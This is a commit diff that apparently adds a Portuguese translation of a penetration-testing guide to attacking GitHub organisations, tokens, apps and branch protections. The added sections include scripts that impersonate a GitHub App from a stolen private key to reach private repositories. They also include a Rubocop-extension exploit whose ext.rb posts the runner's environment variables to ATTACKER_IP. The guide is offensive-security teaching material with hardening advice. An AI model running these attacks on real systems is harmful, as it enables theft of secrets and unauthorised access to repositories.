Translated ['src/pentesting-cloud/aws-security/aws-services/aws-macie-en

This commit is contained in:
Translator
2025-08-21 00:24:04 +00:00
parent 18a3a4274b
commit 0c0fd7fd20
21 changed files with 505 additions and 1949 deletions
+188 -36
View File
@@ -4,7 +4,7 @@
## O que é o Github
(De [aqui](https://kinsta.com/knowledgebase/what-is-github/)) Em um nível alto, **o GitHub é um site e um serviço baseado em nuvem que ajuda os desenvolvedores a armazenar e gerenciar seu código, além de rastrear e controlar as alterações em seu código**.
(De [aqui](https://kinsta.com/knowledgebase/what-is-github/)) Em um nível alto, **o GitHub é um site e serviço baseado em nuvem que ajuda os desenvolvedores a armazenar e gerenciar seu código, além de rastrear e controlar alterações em seu código**.
### Informações Básicas
@@ -16,8 +16,8 @@ basic-github-information.md
Os repositórios do Github podem ser configurados como públicos, privados e internos.
- **Privado** significa que **apenas** pessoas da **organização** poderão acessá-los
- **Interno** significa que **apenas** pessoas da **empresa** (uma empresa pode ter várias organizações) poderão acessá-lo
- **Privado** significa que **apenas** pessoas da **organização** poderão acessá-los.
- **Interno** significa que **apenas** pessoas da **empresa** (uma empresa pode ter várias organizações) poderão acessá-lo.
- **Público** significa que **toda a internet** poderá acessá-lo.
Caso você conheça o **usuário, repositório ou organização que deseja atacar**, você pode usar **github dorks** para encontrar informações sensíveis ou pesquisar por **vazamentos de informações sensíveis** **em cada repositório**.
@@ -38,20 +38,14 @@ Por favor, note que os github dorks também são destinados a pesquisar vazament
Ferramentas (cada ferramenta contém sua lista de regexes):
- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
- [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog)
- [https://github.com/eth0izzle/shhgit](https://github.com/eth0izzle/shhgit)
- [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob)
- [https://github.com/anshumanbh/git-all-secrets](https://github.com/anshumanbh/git-all-secrets)
- [https://github.com/kootenpv/gittyleaks](https://github.com/kootenpv/gittyleaks)
- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
Verifique esta página: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
> [!WARNING]
> Quando você procura por vazamentos em um repositório e executa algo como `git log -p`, não se esqueça de que pode haver **outras branches com outros commits** contendo segredos!
### Forks Externos
É possível **comprometer repositórios abusando de pull requests**. Para saber se um repositório é vulnerável, você precisa principalmente ler as configurações yaml das Ações do Github. [**Mais informações sobre isso abaixo**](./#execution-from-a-external-fork).
É possível **comprometer repositórios abusando de pull requests**. Para saber se um repositório é vulnerável, você precisa principalmente ler as configurações yaml das Ações do Github. [**Mais informações sobre isso abaixo**](#execution-from-a-external-fork).
### Vazamentos do Github em forks deletados/internos
@@ -74,7 +68,7 @@ Existem alguns **privilégios padrão** que podem ser atribuídos aos **membros*
- _Não consegui encontrar essa informação na resposta das APIs, compartilhe se você encontrar_
- **Mudança de visibilidade do repositório**: Se habilitado, **membros** com permissões **admin** para o **repositório** poderão **mudar sua visibilidade**. Se desabilitado, apenas os proprietários da organização podem mudar as visibilidades dos repositórios. Se você **não** quiser que as pessoas tornem as coisas **públicas**, certifique-se de que isso esteja **desabilitado**.
- _Não consegui encontrar essa informação na resposta das APIs, compartilhe se você encontrar_
- **Exclusão e transferência de repositórios**: Se habilitado, membros com permissões **admin** para o repositório poderão **excluir** ou **transferir** repositórios públicos e privados.
- **Exclusão e transferência de repositórios**: Se habilitado, membros com permissões **admin** para o repositório poderão **excluir** ou **transferir** repositórios **públicos e privados**.
- _Não consegui encontrar essa informação na resposta das APIs, compartilhe se você encontrar_
- **Permitir que membros criem equipes**: Se habilitado, qualquer **membro** da organização poderá **criar** novas **equipes**. Se desabilitado, apenas os proprietários da organização podem criar novas equipes. É melhor ter isso desabilitado.
- _Não consegui encontrar essa informação na resposta das APIs, compartilhe se você encontrar_
@@ -85,7 +79,7 @@ Existem alguns **privilégios padrão** que podem ser atribuídos aos **membros*
Várias configurações relacionadas à segurança podem ser configuradas para ações a partir da página `https://github.com/organizations/<org_name>/settings/actions`.
> [!NOTE]
> Note que todas essas configurações também podem ser definidas em cada repositório de forma independente
> Note que todas essas configurações também podem ser definidas em cada repositório de forma independente.
- **Políticas de ações do Github**: Permite indicar quais repositórios podem executar fluxos de trabalho e quais fluxos de trabalho devem ser permitidos. É recomendado **especificar quais repositórios** devem ser permitidos e não permitir que todas as ações sejam executadas.
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
@@ -93,7 +87,7 @@ Várias configurações relacionadas à segurança podem ser configuradas para a
- _Não consegui encontrar uma API com essa informação, compartilhe se você encontrar_
- **Executar fluxos de trabalho de pull requests de forks**: É altamente **desaconselhado executar fluxos de trabalho de pull requests** pois os mantenedores do fork de origem terão a capacidade de usar tokens com permissões de leitura no repositório de origem.
- _Não consegui encontrar uma API com essa informação, compartilhe se você encontrar_
- **Permissões de fluxo de trabalho**: É altamente recomendado **dar apenas permissões de leitura do repositório**. É desaconselhado dar permissões de escrita e criar/aprovar pull requests para evitar o abuso do GITHUB_TOKEN dado para fluxos de trabalho em execução.
- **Permissões de fluxo de trabalho**: É altamente recomendado **dar apenas permissões de leitura do repositório**. É desaconselhado dar permissões de escrita e criar/aprovar pull requests para evitar o abuso do GITHUB_TOKEN dado aos fluxos de trabalho em execução.
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
### Integrações
@@ -116,13 +110,13 @@ Note que **2FA pode ser usado**, então você só poderá acessar essas informa
> [!NOTE]
> Note que se você **conseguir roubar o cookie `user_session`** (atualmente configurado com SameSite: Lax), você pode **impersonar completamente o usuário** sem precisar de credenciais ou 2FA.
Verifique a seção abaixo sobre [**bypass de proteções de branch**](./#branch-protection-bypass) caso seja útil.
Verifique a seção abaixo sobre [**bypasses de proteção de branch**](#branch-protection-bypass) caso seja útil.
### Com Chave SSH de Usuário
O Github permite que **usuários** configurem **chaves SSH** que serão usadas como **método de autenticação para implantar código** em seu nome (nenhuma 2FA é aplicada).
O Github permite que **usuários** definam **chaves SSH** que serão usadas como **método de autenticação para implantar código** em seu nome (nenhuma 2FA é aplicada).
Com essa chave, você pode realizar **alterações em repositórios onde o usuário tem alguns privilégios**, no entanto, você não pode usá-la para acessar a API do github para enumerar o ambiente. No entanto, você pode **enumerar configurações locais** para obter informações sobre os repositórios e o usuário ao qual você tem acesso:
Com esta chave, você pode realizar **alterações em repositórios onde o usuário tem alguns privilégios**, no entanto, você não pode usá-la para acessar a API do github para enumerar o ambiente. No entanto, você pode **enumerar configurações locais** para obter informações sobre os repositórios e o usuário ao qual você tem acesso:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
@@ -130,11 +124,11 @@ git config --list
```
Se o usuário configurou seu nome de usuário como seu nome de usuário do github, você pode acessar as **chaves públicas que ele configurou** em sua conta em _https://github.com/\<github_username>.keys_, você pode verificar isso para confirmar se a chave privada que você encontrou pode ser usada.
**Chaves SSH** também podem ser configuradas em repositórios como **chaves de implantação**. Qualquer pessoa com acesso a essa chave poderá **iniciar projetos de um repositório**. Normalmente, em um servidor com diferentes chaves de implantação, o arquivo local **`~/.ssh/config`** fornecerá informações sobre a chave relacionada.
**Chaves SSH** também podem ser configuradas em repositórios como **chaves de implantação**. Qualquer pessoa com acesso a essa chave poderá **iniciar projetos a partir de um repositório**. Normalmente, em um servidor com diferentes chaves de implantação, o arquivo local **`~/.ssh/config`** fornecerá informações sobre a chave relacionada.
#### Chaves GPG
Como explicado [**aqui**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md), às vezes é necessário assinar os commits ou você pode ser descoberto.
Conforme explicado [**aqui**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md), às vezes é necessário assinar os commits ou você pode ser descoberto.
Verifique localmente se o usuário atual possui alguma chave com:
```shell
@@ -146,13 +140,13 @@ Para uma introdução sobre [**Tokens de Usuário, verifique as informações b
Um token de usuário pode ser usado **em vez de uma senha** para Git sobre HTTPS, ou pode ser usado para [**autenticar na API via Autenticação Básica**](https://docs.github.com/v3/auth/#basic-authentication). Dependendo dos privilégios associados a ele, você pode ser capaz de realizar diferentes ações.
Um token de usuário se parece com isso: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
Um token de usuário se parece com isto: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
### Com Aplicativo Oauth
Para uma introdução sobre [**Aplicativos Oauth do Github, verifique as informações básicas**](basic-github-information.md#oauth-applications).
Um atacante pode criar um **Aplicativo Oauth malicioso** para acessar dados/ações privilegiados dos usuários que o aceitam, provavelmente como parte de uma campanha de phishing.
Um atacante pode criar um **Aplicativo Oauth malicioso** para acessar dados/ações privilegiados dos usuários que os aceitam, provavelmente como parte de uma campanha de phishing.
Esses são os [escopos que um aplicativo Oauth pode solicitar](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Um deve sempre verificar os escopos solicitados antes de aceitá-los.
@@ -162,51 +156,201 @@ Além disso, como explicado nas informações básicas, **as organizações pode
Para uma introdução sobre [**Aplicativos do Github, verifique as informações básicas**](basic-github-information.md#github-applications).
Um atacante pode criar um **Aplicativo Github malicioso** para acessar dados/ações privilegiados dos usuários que o aceitam, provavelmente como parte de uma campanha de phishing.
Um atacante pode criar um **Aplicativo Github malicioso** para acessar dados/ações privilegiados dos usuários que os aceitam, provavelmente como parte de uma campanha de phishing.
Além disso, como explicado nas informações básicas, **as organizações podem conceder/negá-los acesso a aplicativos de terceiros** a informações/repos/ações relacionadas à organização.
## Compromisso e Abuso da Ação do Github
#### Impersonar um App do GitHub com sua chave privada (JWT → tokens de acesso de instalação)
Existem várias técnicas para comprometer e abusar de uma Ação do Github, verifique-as aqui:
Se você obtiver a chave privada (PEM) de um App do GitHub, poderá impersonar totalmente o app em todas as suas instalações:
- Gere um JWT de curta duração assinado com a chave privada
- Chame a API REST do App do GitHub para enumerar instalações
- Crie tokens de acesso por instalação e use-os para listar/clonar/enviar para repositórios concedidos a essa instalação
Requisitos:
- Chave privada do App do GitHub (PEM)
- ID do App do GitHub (numérico). O GitHub requer que iss seja o ID do App
Crie JWT (RS256):
```python
#!/usr/bin/env python3
import time, jwt
with open("priv.pem", "r") as f:
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
def gen_jwt():
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60, # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")
```
Liste as instalações para o aplicativo autenticado:
```bash
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)
curl -sS -H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations
```
Crie um token de acesso de instalação (válido ≤ 10 minutos):
```bash
INSTALL_ID=12345678
curl -sS -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
```
Use o token para acessar o código. Você pode clonar ou enviar usando a forma de URL xaccesstoken:
```bash
TOKEN=ghs_...
REPO=owner/name
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
# push works if the app has contents:write on that repository
```
PoC programático para direcionar uma organização específica e listar repositórios privados (PyGithub + PyJWT):
```python
#!/usr/bin/env python3
import time, jwt, requests
from github import Auth, GithubIntegration
with open("priv.pem", "r") as f:
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
ORG = "someorg"
def gen_jwt():
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")
auth = Auth.AppAuth(APP_ID, signing_key)
GI = GithubIntegration(auth=auth)
installation = GI.get_org_installation(ORG)
print(f"Installation ID: {installation.id}")
jwt_tok = gen_jwt()
r = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
)
access_token = r.json()["token"]
print("--- repos ---")
for repo in installation.get_repos():
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)
```
Notas:
- Tokens de instalação herdam exatamente as permissões de nível de repositório do aplicativo (por exemplo, contents: write, pull_requests: write)
- Tokens expiram em ≤10 minutos, mas novos tokens podem ser gerados indefinidamente enquanto você mantiver a chave privada
- Você também pode enumerar instalações via a API REST (GET /app/installations) usando o JWT
## Comprometimento & Abuso do Github Action
Existem várias técnicas para comprometer e abusar de um Github Action, confira-as aqui:
{{#ref}}
abusing-github-actions/
{{#endref}}
## Abusando de aplicativos GitHub de terceiros que executam ferramentas externas (RCE da extensão Rubocop)
Alguns aplicativos GitHub e serviços de revisão de PR executam linters/SAST externos contra pull requests usando arquivos de configuração controlados pelo repositório. Se uma ferramenta suportada permitir o carregamento dinâmico de código, um PR pode alcançar RCE no runner do serviço.
Exemplo: Rubocop suporta o carregamento de extensões a partir de sua configuração YAML. Se o serviço passar por um .rubocop.yml fornecido pelo repositório, você pode executar Ruby arbitrário ao requerer um arquivo local.
- As condições de disparo geralmente incluem:
- A ferramenta está habilitada no serviço
- O PR contém arquivos que a ferramenta reconhece (para Rubocop: .rb)
- O repositório contém o arquivo de configuração da ferramenta (Rubocop procura por .rubocop.yml em qualquer lugar)
Arquivos de exploração no PR:
.rubocop.yml
```yaml
require:
- ./ext.rb
```
ext.rb (exfiltrar variáveis de ambiente do runner):
```ruby
require 'net/http'
require 'uri'
require 'json'
env_vars = ENV.to_h
json_data = env_vars.to_json
url = URI.parse('http://ATTACKER_IP/')
begin
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
rescue StandardError => e
warn e.message
end
```
Também inclua um arquivo Ruby fictício suficientemente grande (por exemplo, main.rb) para que o linter realmente funcione.
Impacto observado no mundo real:
- Execução completa de código no runner de produção que executou o linter
- Exfiltração de variáveis de ambiente sensíveis, incluindo a chave privada do GitHub App usada pelo serviço, chaves de API, credenciais de DB, etc.
- Com uma chave privada do GitHub App vazada, você pode gerar tokens de instalação e obter acesso de leitura/gravação a todos os repositórios concedidos a esse app (veja a seção acima sobre a impersonação do GitHub App)
Diretrizes de endurecimento para serviços que executam ferramentas externas:
- Trate as configurações de ferramentas fornecidas pelo repositório como código não confiável
- Execute ferramentas em sandboxes isoladas com rigor, sem variáveis de ambiente sensíveis montadas
- Aplique credenciais de menor privilégio e isolamento de sistema de arquivos, e restrinja/negue a saída de rede para ferramentas que não requerem acesso à internet
## Bypass de Proteção de Branch
- **Exigir um número de aprovações**: Se você comprometeu várias contas, pode simplesmente aceitar seus PRs de outras contas. Se você apenas tem a conta de onde criou o PR, não pode aceitar seu próprio PR. No entanto, se você tiver acesso a um ambiente de **Ação do Github** dentro do repositório, usando o **GITHUB_TOKEN**, pode ser capaz de **aprovar seu PR** e obter 1 aprovação dessa forma.
- _Nota para isso e para a restrição de Proprietários de Código que geralmente um usuário não poderá aprovar seus próprios PRs, mas se você puder, pode abusar disso para aceitar seus PRs._
- **Rejeitar aprovações quando novos commits são enviados**: Se isso não estiver configurado, você pode enviar código legítimo, esperar até que alguém o aprove, e colocar código malicioso e mesclá-lo na branch protegida.
- **Exigir revisões de Proprietários de Código**: Se isso estiver ativado e você for um Proprietário de Código, pode fazer uma **Ação do Github criar seu PR e então aprová-lo você mesmo**.
- Quando um **arquivo CODEOWNER está mal configurado**, o Github não reclama, mas não o utiliza. Portanto, se estiver mal configurado, **a proteção de Proprietários de Código não é aplicada.**
- **Exigir um número de aprovações**: Se você comprometeu várias contas, pode simplesmente aceitar seus PRs de outras contas. Se você tiver apenas a conta de onde criou o PR, não pode aceitar seu próprio PR. No entanto, se você tiver acesso a um ambiente **Github Action** dentro do repositório, usando o **GITHUB_TOKEN**, pode ser capaz de **aprovar seu PR** e obter 1 aprovação dessa forma.
- _Nota para isso e para a restrição de Code Owners que geralmente um usuário não poderá aprovar seus próprios PRs, mas se você puder, pode abusar disso para aceitar seus PRs._
- **Rejeitar aprovações quando novos commits são enviados**: Se isso não estiver configurado, você pode enviar código legítimo, esperar até que alguém o aprove e colocar código malicioso e mesclá-lo no branch protegido.
- **Exigir revisões de Code Owners**: Se isso estiver ativado e você for um Code Owner, pode fazer um **Github Action criar seu PR e então aprová-lo você mesmo**.
- Quando um **arquivo CODEOWNER está mal configurado**, o Github não reclama, mas não o utiliza. Portanto, se estiver mal configurado, **a proteção de Code Owners não é aplicada.**
- **Permitir que atores especificados contornem os requisitos de pull request**: Se você for um desses atores, pode contornar as proteções de pull request.
- **Incluir administradores**: Se isso não estiver configurado e você for administrador do repositório, pode contornar essas proteções de branch.
- **Sequestro de PR**: Você pode ser capaz de **modificar o PR de outra pessoa** adicionando código malicioso, aprovando o PR resultante você mesmo e mesclando tudo.
- **Removendo Proteções de Branch**: Se você for um **administrador do repositório, pode desativar as proteções**, mesclar seu PR e reativar as proteções.
- **Contornando proteções de push**: Se um repositório **somente permite que certos usuários** enviem push (mesclem código) em branches (a proteção de branch pode estar protegendo todas as branches especificando o curinga `*`).
- Se você tiver **acesso de escrita sobre o repositório, mas não for permitido enviar código** por causa da proteção de branch, ainda pode **criar uma nova branch** e dentro dela criar uma **ação do github que é acionada quando o código é enviado**. Como a **proteção de branch não protegerá a branch até que ela seja criada**, esse primeiro envio de código para a branch **executará a ação do github**.
- Se você tiver **acesso de gravação ao repositório, mas não for permitido enviar código** devido à proteção de branch, ainda pode **criar uma nova branch** e dentro dela criar uma **github action que é acionada quando o código é enviado**. Como a **proteção de branch não protegerá a branch até que seja criada**, esse primeiro push de código para a branch **executará a github action**.
## Contornar Proteções de Ambientes
Para uma introdução sobre [**Ambiente do Github, verifique as informações básicas**](basic-github-information.md#git-environments).
Para uma introdução sobre [**Github Environment, verifique as informações básicas**](basic-github-information.md#git-environments).
Caso um ambiente possa ser **acessado de todas as branches**, ele **não está protegido** e você pode facilmente acessar os segredos dentro do ambiente. Note que você pode encontrar repositórios onde **todas as branches estão protegidas** (especificando seus nomes ou usando `*`); nesse cenário, **encontre uma branch onde você possa enviar código** e você pode **exfiltrar** os segredos criando uma nova ação do github (ou modificando uma).
Caso um ambiente possa ser **acessado de todas as branches**, ele **não está protegido** e você pode acessar facilmente os segredos dentro do ambiente. Note que você pode encontrar repositórios onde **todas as branches estão protegidas** (especificando seus nomes ou usando `*`); nesse cenário, **encontre uma branch onde você possa enviar código** e você pode **exfiltrar** os segredos criando uma nova github action (ou modificando uma).
Note que você pode encontrar o caso extremo onde **todas as branches estão protegidas** (via curinga `*`), é especificado **quem pode enviar código para as branches** (_você pode especificar isso na proteção de branch_) e **seu usuário não é permitido**. Você ainda pode executar uma ação do github personalizada porque pode criar uma branch e usar o gatilho de push sobre ela mesma. A **proteção de branch permite o push para uma nova branch, então a ação do github será acionada**.
Observe que você pode encontrar o caso extremo onde **todas as branches estão protegidas** (via curinga `*`), é especificado **quem pode enviar código para as branches** (_você pode especificar isso na proteção de branch_) e **seu usuário não é permitido**. Você ainda pode executar uma github action personalizada porque pode criar uma branch e usar o gatilho de push sobre ela mesma. A **proteção de branch permite o push para uma nova branch, então a github action será acionada**.
```yaml
push: # Run it when a push is made to a branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch
```
Note que **após a criação** do branch, a **proteção do branch se aplicada ao novo branch** e você não poderá modificá-lo, mas nesse tempo você já terá extraído os segredos.
Note que **após a criação** do branch, a **proteção do branch se aplica ao novo branch** e você não poderá modificá-lo, mas nesse tempo você já terá extraído os segredos.
## Persistência
- Gerar **token de usuário**
- Roubar **tokens do github** de **segredos**
- **Deleção** de **resultados** e **branches** de workflow
- **Deleção** de **resultados** de workflow e **branches**
- Dar **mais permissões a toda a org**
- Criar **webhooks** para exfiltrar informações
- Convidar **colaboradores externos**
@@ -214,7 +358,7 @@ Note que **após a criação** do branch, a **proteção do branch será aplicad
- Criar/modificar **Github Action** com uma **backdoor**
- Encontrar **Github Action vulnerável a injeção de comando** via modificação de valor de **segredo**
### Commits de Impostor - Backdoor via commits de repositório
### Commits Falsos - Backdoor via commits de repositório
No Github, é possível **criar um PR para um repositório a partir de um fork**. Mesmo que o PR **não seja aceito**, um **commit** id dentro do repositório original será criado para a versão fork do código. Portanto, um atacante **poderia fixar o uso de um commit específico de um repositório aparentemente legítimo que não foi criado pelo proprietário do repositório**.
@@ -233,4 +377,12 @@ echo 'hello world!'
```
Para mais informações, consulte [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
## Referências
- [Como exploramos o CodeRabbit: de um PR simples a RCE e acesso de gravação em 1M repositórios](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
- [Extensões do Rubocop (require)](https://docs.rubocop.org/rubocop/latest/extensions.html)
- [Autenticando com um GitHub App (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
- [Listar instalações para o aplicativo autenticado](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
- [Criar um token de acesso de instalação para um aplicativo](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
{{#include ../../banners/hacktricks-training.md}}